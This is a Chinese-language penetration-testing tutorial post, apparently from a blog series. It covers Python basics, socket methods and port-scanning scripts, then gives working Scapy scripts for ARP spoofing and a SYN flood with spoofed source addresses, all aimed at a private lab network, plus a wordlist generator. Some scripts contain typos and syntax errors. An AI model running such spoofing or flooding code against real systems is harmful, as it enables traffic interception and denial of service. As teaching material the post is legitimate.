渗透测试——三、脚本编写

点击跳转:
渗透测试——一、网络扫描
渗透测试——二、抓包分析
渗透测试——三、脚本编写
渗透测试——四、服务漏洞
渗透测试——五、网站漏洞——SQL注入
渗透测试——六、网站漏洞——文件上传
渗透测试——七、网站漏洞——命令注入和跨站请求伪造(CSRF)
渗透测试——八、网站漏洞——XSS跨站脚本攻击
渗透测试——九、系统加固
渗透测试——十、常用工具及命令列举

一、认识Python

1、Python语言概况

Python 是一种跨平台的计算机程序设计语言,是一种面向对象的动态类型语言,最初被设计用于编写自动化脚本 (shell),随着版本的不断更新和语言新功能的添加,越来越多地被用于独立的、大型项目的开发。
TIOBE 于2019 年2月公布的世界编程语言排行榜中,排名前八的分别是 Python、Java、JavaScript、C++、PHP、C#、R、Objective -C (图4 -1-1)。2018 年,Python 更是3 次获得TIOBE 最佳年度语言的称号。在 IEEE (国际电气和电子工程师协会) 中,Python 多年荣获最受喜爱的编程语言的称号。
小贴士:
TIOBE 排行榜是根据互联网上有经验序员数量、在线IT 程数量及提供第三方 IT厂商数量,并使用搜索引擎(如Google Bing、Yahoo!) 及 Wikipedia、Amazon、YouTube统出的排名数据,反映某个编程语言的热门程度。

2、Python的特点

Python 作为一门热门语言,它具有如下特点:

  • 1、简单。Python 遵循“简单、优雅、明确”的设计哲学
  • 2、高级。Python 是一种高级语言,相对于C语言,其牺牲了性能而提升了编程人员的率。它使得程序员可以不用关注底层细节,而把精力全部放在编程上。
  • 3、面向对象。Python 既支持面向过程,也支持面向对象。
  • 4、可扩展。可以通过 C、C++语言为 Python 编写扩充模块。
  • 5、免费和开源。Python 是 FLOSS (自由/开放源码软件) 之一,允许自由地发布软件的备份、阅读和修改其源代码、将其一部分自由地用于新的自由软件中。
  • 6、边编译边执行。Python 是解释型语言,可以一边编译一边执行。
  • 7、可移植。Python 能运行在不同的平台上。
  • 8、丰富的库。Python 拥有许多功能丰富的库。
  • 9、可嵌入性。Python 可以嵌入 C、C++中,为其提供脚本功能。

3、Python集成开发环境

Python 是跨平台的,它可以运行在 Windows、Mac 和各种 Linux/UNIX 系统上。在Windows上编写的 Python 程序,放到 Lnux 上也是能够运行的。下面介绍几款 Python 的集成开发环境。
PyCharm 是由 JetBrains 打造的一款 Python IDE,如图4-1-3所。PyCharm 具备一般Python IDE 的功能,比如调试、语法高亮、项目管理、代码跳转、智能提示、自动完成、单元测试、版本控制等。PyCharm 还提供了一些很好的功能用于 Djang 开发,同时支持Google App Engine。此外,PCharm 支持 IronPvthon。
在这里插入图片描述
Pydev 是Python IDE 中使用普遍的软件,它提供很多强大的功能来支持高效的Python 编程。Pydev 是一个运行在 Eclipse 上的开源插件,集成了一些关键功能,包括Django 集成、自动代码补全、多语言支持、集成的 Python 调试、代码分析、代码模板、智能缩进、括号匹配、错误标记、源代码控制集成、代码折叠、UML 编辑和查看及单元测试整合等。虽然 Pydev 是最好的开源 Python IDE,但是它也和另一个名为 Licipse 的产品一起打包,Liclipse 是一个商业产品,同样也构建在 Eclipse 上,提供了易用性改进和额外的主题选项。除了 Python,Pydev 也支持 Jython and IronPython。
VIM是一个普遍而又先进的文本编辑器,在 Python 开发者社区中很受欢迎。经过正确的配置后,它可以成为一个全功能的 Python 开发环境。VIM 还是一个轻量级的、模块化、快速响应的工具,非常适合那些技术水平很高的程序员使用。

4、Python环境的安装

这里Python环境的安装详细内容见:
https://blog.csdn.net/weixin_63172698/article/details/130531401?spm=1001.2014.3001.5502

二、Python扫描

1、Python 第三方模块

Python 大受欢迎与它有着丰富的第三方模块有关,有了这些模块的支持,Python 几乎在现代生活计算机所能涉及的所有场景中都有着丰富的应用,以下列举了知名的第三方库:

  • Requests,Kenneth Reitz 是最负盛名的HTTP库。每个Python 程序员都应该拥有它。
  • Scrapy,如果你从事爬虫相关的工作,那么这个库也是必不可少的。
  • wxPython,Python的一个GUI (图形用户界面)工具。
  • Pillow,它是PIL (Python 图形库) 的一个友好分支。对用户比PIL 更加友好,其对于任何在图形领域工作的人来说都是必备的库。
  • BeautifulSoup,这个XML和HTML的解析库对新手非常有用。
  • Twisted,对于网络应用开发者来说,是最重要的工具。
  • NumPy,它为 Python 提供了很多高级的数学方法。
  • SciPy,这是一个Pthon的算法和数学工具库,它的功能把很多科学家从 Ruby 吸引到了Python。
  • Matplotlib,这一个绘制数据图的库,对数据科学家或分析师非常有用。
  • Pygame,这个库在开发2D 游戏时用到。
  • Scapy,用 Python 编写的数据包探测和分析库。
  • Pywin32,一个提供与 Windows 交互的方法和类的 Python 库。
  • Nlk,自然语言工具包。用于处理字符串时,它是非常好的库。
  • IPython,它把 Pvthon 的提示信息做到了极致。包括完成信息、历史信息、shell 功能以及其他很多方面。

在Python 中,安装第三方模块是通过 setuptools 这个工具完成的。Python 有两个封装 set-uptools 的包管理工具:easy_install 和 pip。目前官方推荐使用 pip。
在这里插入图片描述

2、Socket模块

Socket 是应用层与TCP/IP 协议簇通信的中间软件抽象层,它是一组接口,是计算机网络通信的基础内容。图4-2-2所示是 Socket 通信的流程,服务器端先初始化Socket,然后与端口绑定(bind),对端口进行监听 (listen),调用 acept 阻塞,等待客户端连接。在这时,如果有个客户端初始化一个 Socket,然后连接服务器 (connect),并且连接成功,则客户端与服务器端的连接就建立了。客户端发送数据请求,服务器端接收请求并处理请求,然后把回应数据发送给客户端,客户端读取数据,最后关闭连接,一次交互结束。
Socket 编程常用的方法如下:
sk.bind( address)

  • sk.bind(address)将套接字绑定到地址。address 地址的格式取决于地址簇。在AF_INET下,以元组 (host,port) 的形式表示地址。

sk. listen( backlog)

  • 开始监听传入的连接。backlog 指在拒绝连接之前,可以挂起的最大连接数量。

sk.setblocking( bool)

  • 是否阻塞(默认True),如果设置为 False,那么接收时一旦无数据,则报错。

sk. accept()

  • 接受连接并返回 (conn,address),其中 conn 是新的套接字对象,可以用来接收和发送数据。address 是连接客户端的地址。

sk.connect( address)

  • 连接到address处的套接字。一般情况下,address 的格式为元组 (hostname,port),如果连接出错,返回socketerror 错误。

sk.connect ex( address)

  • 同上,只不过会有返回值,连接成功时返回0,连接失败时候返回编码。

sk. close()

  • 关闭套接字。

sk. recv( bufsize [,flag])

  • 接收套接字的数据。数据以字符串形式返回,bufsize 指定最多可以接收的数量。flag 提供有关消息的其他信息,通常可以忽略。

sk. recvfrom( bufsize [,flag])

  • 与recv()类似,但返回值是(data,address)。其中 data 是包含接收数据的字符串,address 是发送数据的套接字地址。

sk. send( string[ ,flag])

  • 将 string 中的数据发送到连接的套接字。返回值是要发送的字节数量,该数量可能小于string的字节大小,即可能未将指定内容全部发送。

sk.sendall( string[ ,flag])

  • 将 string 中的数据发送到连接的套接字,但在返回之前会尝试发送所有数据。成功,返回 None;失败,则抛出异常。

sk. sendto( string[ ,flag] ,address)

  • 将数据发送到套接字,address 是形式为 (ipaddr,port) 的元组,指定远程地址。返回值是发送的字节数。该函数主要用于 UDP 协议。

sk. settimeout( timeout)

  • 设置套接字操作的超时期。timeout 是一个浮点数,单位是秒。值为 None,表示没有超时期。一般地,超时期应该在刚创建套接字时设置,因为它们可能用于连接的操作(如 cli-ent 连接最多等待5 s)。

sk. getpeername()

  • 返回连接套接字的远程地址。返回值通常是元组 (ipaddr,port)。

sk.getsockname()

  • 返回套接字自己的地址。通常是一个元组 (ipaddr,port)。

sk. fileno()
套接字的文件描述符。

3、Scapy模板

Scapy是一个Python 程序,使用户能够发送、嗅探和剖析并伪造网络数据包。Scapy 模块是探测、扫描或攻击网络的工具。

4、利用Nmap模板扫描存活主机

在 Kali Linux 中创建hostalive_scan.py 文件,代码如下:
在这里插入图片描述

import nmap
scanner = nmap.PortScanner()
gateway = '192.168.217.0'
for i in range(1,256):
	ip = gateway[:-1] + str(i)
	result = scanner.scan(hosts = ip,arguments ='- sp')
	if result['scan'] !={}:
		print (ip + ":alive")

在这里插入图片描述
代码中导人Nmap模块,利用模块中对象PortScanner 的扫描功能对输人192.168.217.0/24 网段进行扫描,最后用 print 函数输出:
在这里插入图片描述
小贴士:Python 语言分为 Python 2、Python 3 两种,两者略有区别,在本任务中采用Python2中的代码。

5、构造TCP包扫描端口

在Kali Linux 中创建 tcp_scan.py 文件,代码如下:

from scapy.all import*
def tcpscan(host,port):
	rep =sr1(IP(dst =host)/TCP(dport = port,flags = "S"),timeout =1,verbose =0)
	if(rep.haslayer(TCP)):
		if(rep.getlayer(TCP).flags =="SA"):
			print '[+]%d/tcp is open'% port


def portscan(host):
	print 'scan starting %s...'%host
	for port in range(1,1024):
		tcpscan(host,port)
	print 'scan over'


if __name__=='__main__':
	host = input("put in a ip:")
	portscan(host)

代码中,if__name__=='__main__'是入口函数;input是数据的输入函数;在函数portscan()中,利用for循环调用 tcpscan()进行端口扫描;在函数 tcpscan()中构造了一个TCP连接包 rep =srl(IP(dst = host)/TCP(dport = port,flags ="S"),timeout =1,verbose =0),这个包中,flag置为S,表明发送的是sy 包,如果得到回应包,flag 变为SA (syn ack),表明目标主机对应的TCP端口是开放的。
在这里插入图片描述

6、利用Socket模块扫描端口

在Kali Linux中创建socket_scanpy 文件,代码如下:

import socket
def scan now(ip,port);
	try:
		s =socket.socket(socket.AF_INET,socket.SOCK_ STREAM)
		result =s.connect_ex((ip,port))
		if result == 0:
			print ("[+]"+str(port)+"open")
			s.close()
		except:
			pass
ip = input("put in a ip;")
for port in range(0,1024):
	scan_now(ip,port)
print ("scan over")

在这里插入图片描述
代码中导入了 Socket 模块,通过模块对象的连接方法 (connect_ex()),利用for 循环来判断目标主机端口的开放情况。
在这里插入图片描述
Python 和其他代码一样,支持多线程。多线程是提高程序代码执行效率的有效手段,在口扫描中加入多线程,如代码 socket_threadpy:

import socket
import _thread
import time

socket.setdefaulttimeout(3)

def socket_port(ip, port):
    if port >= 10001:
        print('All of ports would be scanned!\n')
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    result = s.connect_ex((ip, port))
    if result == 0:
        lock.acquire()
        print(ip, ':', port, 'port is open')
        lock.release()
    s.close()

def ip_scan(ip):
    print('Start scanning host:%s' % ip)
    for i in range(0, 500):
        _thread.start_new_thread(socket_port, (ip, i))
    print('The port scan finished!\n')

if __name__ == '__main__':
    url = input('Input the IP or domain you want to scan:')
    if url == "":
        print('IP is none!')
        exit()
    lock = _thread.allocate_lock()
    ip_scan(url)

程序中导入了线程模块 Thread,利用for 循环对 500个端口进行多线程扫描,由于每线程都看成独立的程序,程序输出结果变得混乱。当线程数量很大时程序就会报错。
在这里插入图片描述

三、Python攻击脚本

1、ARP协议

地址解析协议 (Address Resolution Protocol,ARP) 是根据P 地址获取物理地址的一个TCP/IP 协议。主机发送信息时,将包含目标IP 地址的ARP 请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后,将该 IP 地址和物理地址存入本机ARP 缓存中并保留一定时间,下次请求时,直接查询ARP 缓存,以节约资源如图4-3-1所示,地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送 ARP 应答消息,其他主机收到应答报文时,不会检测该报文的真实生就会将其记入本机ARP 缓存,由此,攻击者就可以向某一主机发送伪 ARP 应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个 ARP 欺骗。
在这里插入图片描述

2、SYN泛洪

SYN攻击利用的是TCP 的三次握手机制,攻击端利用伪造的IP 地址向被攻击端发出请求,而被攻击端发出的响应报文将永远发送不到目的地,那么被攻击端在等待关闭这个连接的过程中消耗了资源,如果有成千上万的这种连接,主机资源将被耗尽,从而达到攻击的目的。

3、字典攻击

字典攻击是指在破解密码或密钥时,逐一尝试用户自定义词典中的单词或短语的攻击方式。字典攻击一般在黑客试图获得一个网站的密码时发生,黑客通过事先预设在字典中的词逐一进行测试,这个攻击有时是数以亿计的概率事件。
例如,甲为了破解乙方的 00 密码,就会有针对性地预先编译一些关于乙方的信息类的词在字典里,然后使用破解软件逐一测试。
对于防范字典攻击的方式,有一种解决的方式就是使用次数法,比如,输入三次错误的密码后,就锁死输入框。
小贴士:
2019 年最常用的 20 个密码为 12345、12356123456789、test1、password、12345678、zinch、g_ czechoul、asdf、qwery 、1234567890、1234567、Aa123456、iloveyou、1234 、 abc123111111、123123、dubsmash 、 test。

4、ARP欺骗攻击

本案例功能是进行ARP 欺骗攻击,代码如下,运行结果如图所示。

arp_spoof.py
from scapy.all import *
import time
gatewayIP='192.168.217.2'
srcIP='192.168.217.133'
tgtIP='192.168.217.143'
tgtMac =getmacbyip(tgtIP)
packet = Ether(dst =tgtMac)/ARP(psrc =gatewayIP,hwdst = tgtMac,pdsttgtIP,op =2)
while True:
	sendp(packet)
	print('sending arpspoof ...')
	time.sleep(1)

在这里插入图片描述
在这里插入图片描述
其中,192.168.217.2 是网关,攻击机 192.168.217.133 通过构造数据包,把网关的IP地址与自己MAC地址绑定,攻击效果如图所示。可以看到目标主机的 ARP 表中原有的网关MAC 地址在攻击过后已经被修改,变成了攻击机的 MAC 地址,如果攻击机再加入数据包转发功能,使得目标主机能正常上网,则目标主机的所有网页浏览信息将被攻击机记录下来。
在这里插入图片描述
这里我们回到被攻击机,进行arp可以看到如图:
在这里插入图片描述

5、SYN泛洪攻击

本案例的功能是进行 SYN 泛洪攻击,代码如下:
syn_flood.py

import random
import time
import threading
from scapy.all import *

def synFlood(tgt, dPort):
    srcList = ['201.1.1.2', '10.1.1.102', '69.1.1.2', '125.130.5.199']
    for sPort in range(1, 65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort, flags="S")
        packet = ipLayer / tcpLayer
        send(packet)

tgt = '192.168.217.143'
dPort = 80
synFlood(tgt, dPort)

  • 1、引入了 random、time 和 threading 模块,以及 Scapy 库。
  • 2、定义了一个名为 synFlood 的函数,该函数接受目标IP地址 tgt 和目标端口号 dPort 作为参数。
  • 3、在 synFlood 函数中,定义了一个包含四个IP地址的 srcList 列表,用于模拟源IP地址。
  • 4、使用 for 循环遍历端口范围(1到65535)。
  • 5、在循环中,随机选择 srcList 中的一个IP地址,构建了一个IP层(IP)和一个TCP层(TCP)。
  • 6、使用 send 函数发送构建好的TCP数据包。
  • 7、在主程序中指定了目标IP地址 tgt 和目标端口号 dPort,然后调用 synFlood 函数进行SYN Flood攻击。

其中伪造了四个IP地址向目标主机192.168.217.143 发送SYN包,这时目标主机不得不不停地回复SYN的请求。如果伪造的地址够多,访问量够大,会导致目标主机瘫痪。
在这里插入图片描述
在这里插入图片描述

6、生成数据字典

本案例是利用循环的方式,产生6位4 个字符的数据字典,代码如下:

f = open("dict.txt", 'w+')
chars = ['a', 'b', 'c', 'd']
base = len(chars)

for i in range(0, base):
    for j in range(0, base):
        for k in range(0, base):
            for l in range(0, base):
                for n in range(0, base):
                    for m in range(0, base):
                        ch0 = chars[i]
                        ch1 = chars[j]
                        ch2 = chars[k]
                        ch3 = chars[l]
                        ch4 = chars[n]
                        ch5 = chars[m]
                        
                        print(ch0, ch1, ch2, ch3, ch4, ch5)
                        f.write(ch0 + ch1 + ch2 + ch3 + ch4 + ch5 + '\r\n')

f.close()

运行效果如图:
在这里插入图片描述

  • 34
    点赞
  • 50
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值